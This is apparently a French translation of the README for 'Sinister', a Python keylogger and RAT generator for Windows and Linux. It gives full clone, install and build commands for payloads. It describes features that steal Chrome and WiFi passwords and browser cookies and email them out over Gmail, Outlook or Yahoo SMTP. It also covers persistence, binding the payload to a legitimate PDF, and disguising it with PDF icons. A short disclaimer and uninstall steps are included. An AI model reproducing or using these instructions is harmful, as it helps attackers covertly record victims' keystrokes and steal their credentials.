
Sinister est un générateur de keyloggers pour Windows/Linux qui envoie les frappes clavier par e-mail avec d'autres informations juteuses sur la cible.
Ce petit script Python peut faire un travail vraiment impressionnant.
Sinister est un générateur de keylogger pour Windows/Linux, qui envoie les frappes clavier et les captures d'écran par e-mail, avec d'autres informations juteuses sur la cible, écrit en Python 3.
:computer: Ce projet a été créé uniquement à des fins louables et pour un usage personnel.
CE LOGICIEL EST FOURNI « EN L'ÉTAT » SANS GARANTIE D'AUCUNE SORTE. VOUS POUVEZ UTILISER CE LOGICIEL À VOS PROPRES RISQUES. L'UTILISATION EST DE LA SEULE RESPONSABILITÉ DE L'UTILISATEUR FINAL. LES DÉVELOPPEURS N'ASSUMENT AUCUNE RESPONSABILITÉ ET NE SONT PAS RESPONSABLES DE TOUTE MAUVAISE UTILISATION OU DE TOUT DOMMAGE CAUSÉ PAR CE PROGRAMME.
| Nom du serveur | Serveur SMTP | Port SMTP |
|---|---|---|
| GMAIL | smtp.gmail.com | 587 |
| OUTLOOK | smtp-mail.outlook.com | 587 |
| YAHOO | smtp.mail.yahoo.com | 587 |
| Le voleur intégré peut voler ces éléments : |
|---|
| Navigateur Chrome (mots de passe enregistrés) |
| WiFi (mots de passe enregistrés) |
| Cookies Chrome (données de connexion, cookies, historique) |
| Cookies Firefox (cookies.sqlite) |
| Ces éléments sont récupérés et envoyés : |
|---|
| Système d'exploitation |
| Nom de l'ordinateur |
| Nom d'utilisateur |
| IPv4 publique |
Le 30 mai 2022, Google a supprimé la fonctionnalité des applications moins sécurisées, donc au lieu du mot de passe Gmail :
mot de passe d'application spécifique lors de la création de la charge utile.# Naviguez vers le répertoire /opt (optionnel)
$ cd /opt/
# Clonez ce dépôt
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Déplacez-vous dans le dossier Sinister
$ cd Sinister
# Installez les dépendances
$ bash installer_linux.sh
*** Remarque : lorsque la boîte de dialogue de l'installateur Python apparaît lors de l'exécution de installer_linux.sh ***
* Cliquez sur installation personnalisée
* Choisissez le chemin vers : C:/Python37-32
### Pour que Python soit installé dans ce chemin (sous Wine) : ~/.wine/drive_c/Python37-32
# Si vous rencontrez des erreurs lors de l'exécution de installer_linux.sh, essayez d'installer avec installer_linux.py
$ python3 installer_linux.py
$ chmod +x Sinister.py
$ python3 Sinister.py --help
# Création de la charge utile/RAT
$ python3 Sinister.py -e [email protected] -p VotreMotDePasse -l -o nom_fichier_sortie --icon chemin_icone
# Création de la charge utile en utilisant le serveur SMTP GMAIL, configuration du port (serveur SMTP par défaut = smtp.gmail.com, port SMTP par défaut = 587)
$ python3 Sinister.py -e [email protected] -p VotreMotDePasse -l -o nom_fichier_sortie --icon chemin_icone
# Création de la charge utile en utilisant le serveur SMTP OUTLOOK, configuration du port
$ python3 Sinister.py -e [email protected] -p VotreMotDePasse -x smtp-mail.outlook.com -y 587 -l -o nom_fichier_sortie --icon chemin_icone
# Création de la charge utile en utilisant le serveur SMTP YAHOO, configuration du port
$ python3 Sinister.py -e [email protected] -p VotreMotDePasse -x smtp.mail.yahoo.com -y 587 -l -o nom_fichier_sortie --icon chemin_icone
Remarque : Vous pouvez également utiliser nos icônes personnalisées depuis le dossier icon, utilisez-les ainsi : --icon icon/pdf.ico
# Installez les dépendances
$ Installez la dernière version de Python 3.x
# Clonez ce dépôt
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Allez dans le dépôt
$ cd Sinister
# Installez les dépendances
$ python -m pip install -r requirements.txt
# Ouvrez Sinister.py dans un éditeur de texte et configurez la ligne 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"
# Obtenez le menu d'aide
$ python Sinister.py --help
# Création de la charge utile/RAT
$ python Sinister.py -e [email protected] -p VotreMotDePasse -w -o nom_fichier_sortie --icon chemin_icone
# Création de la charge utile en utilisant le serveur SMTP GMAIL, configuration du port (serveur SMTP par défaut = smtp.gmail.com, port SMTP par défaut = 587)
$ python Sinister.py -e [email protected] -p VotreMotDePasse -w -o nom_fichier_sortie --icon chemin_icone
# Création de la charge utile en utilisant le serveur SMTP OUTLOOK, configuration du port
$ python Sinister.py -e [email protected] -p VotreMotDePasse -x smtp-mail.outlook.com -y 587 -w -o nom_fichier_sortie --icon chemin_icone
# Création de la charge utile en utilisant le serveur SMTP YAHOO, configuration du port
$ python Sinister.py -e [email protected] -p VotreMotDePasse -x smtp.mail.yahoo.com -y 587 -w -o nom_fichier_sortie --icon chemin_icone
Remarque : Vous pouvez également utiliser nos icônes personnalisées depuis le dossier icon, utilisez-les ainsi : --icon icon/pdf.ico
















Essayez d'exécuter le keylogger hors ligne pour tester la capture des frappes clavier hors ligne et déboguer les problèmes du keylogger en exécutant ces commandes :
Exécutez test_key.py dans les deux modes [Compilé et brut] et déterminez l'erreur.
Exécutez-le comme ceci : python test_key.py
Compilez-le également comme ceci :
pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard
Après l'avoir exécuté, commencez à taper quelque chose, Le résultat s'affichera dans l'invite de commande toutes les 10 secondes.
Les fichiers du keylogger hors ligne se trouvent dans le dossier TestKeylogger
1. Créez une nouvelle charge utile avec le drapeau --debug
2. Exécutez l'exe de la charge utile via cmd [N'exécutez pas la charge utile en double-cliquant dessus]
3. Cela donnera une erreur plus appropriée dans CMD, veuillez soumettre ce problème dans la section Issues
Ouvrez le fichier de démarrage automatique avec un éditeur de texte, Chemin du fichier de démarrage automatique : ~/.config/autostart/xinput.desktop
Supprimez ces 5 lignes :
[Desktop Entry]
Type=Application
X-GNOME-Autostart-enabled=true
Name=Xinput
Exec="nom_fichier_destination"
Remarque : nom_fichier_destination est le nom que vous avez donné à votre keylogger avec le paramètre -o
Redémarrez votre système, puis supprimez le fichier malveillant stocké sous ce chemin ci-dessous
Chemin de destination où le keylogger est stocké : ~/.config/xnput
Les contributions de toute nature sont les bienvenues !
REMARQUE : Si vous devriez figurer sur la liste des contributeurs mais que nous vous avons oublié, veuillez nous le faire savoir !
| Abréviation | Nom complet | Description |
|---|
| -h | --help | Affiche ce message d'aide et quitte. |
| -i INTERVAL | --interval INTERVAL | Temps entre les rapports en secondes. défaut=120 |
| -t TIME_PERSISTENT | --persistence TIME_PERSISTENT | Devenir persistant après __ secondes. défaut=10 |
| -x SMTP_Server | --smtp | Serveur SMTP personnalisé. défaut="smtp.gmail.com" |
| -y SMTP_Port | --port | Port SMTP personnalisé. défaut=587 |
| -w | --windows | Génère un exécutable Windows. |
| -l | --linux | Génère un exécutable Linux. |
| -s | --steal-password | Vole les mots de passe enregistrés de la machine victime [Système d'exploitation pris en charge : Windows] |
| -b fichier.txt | --bind CHEMIN_FICHIER_LEGITIME.pdf | AutoLieutenant : spécifiez le chemin du fichier légitime. [Système d'exploitation pris en charge : Windows] |
| -d | --debug | La charge utile s'exécutera en avant-plan avec une fenêtre CMD pour obtenir des erreurs d'exécution appropriées. |
| Abréviation | Nom complet | Description |
|---|
| --icon ICON | Spécifiez le chemin de l'icône, icône du fichier malveillant [Remarque : doit être .ico] | |
| -e EMAIL | --email EMAIL | Adresse e-mail pour envoyer les rapports. |
| -p PASSWORD | --password PASSWORD | Mot de passe pour l'adresse e-mail donnée dans l'argument -e. |
| -o OUT | --out OUT | Nom du fichier de sortie. |
![]() Pushpender Singh :computer: |
![]() Thomas Kunwar :computer: |
![]() krasnova19 :computer: |
![]() sarchish5 :computer: |
![]() chiragcode11 :computer: |
![]() C4RR0T02 :computer: |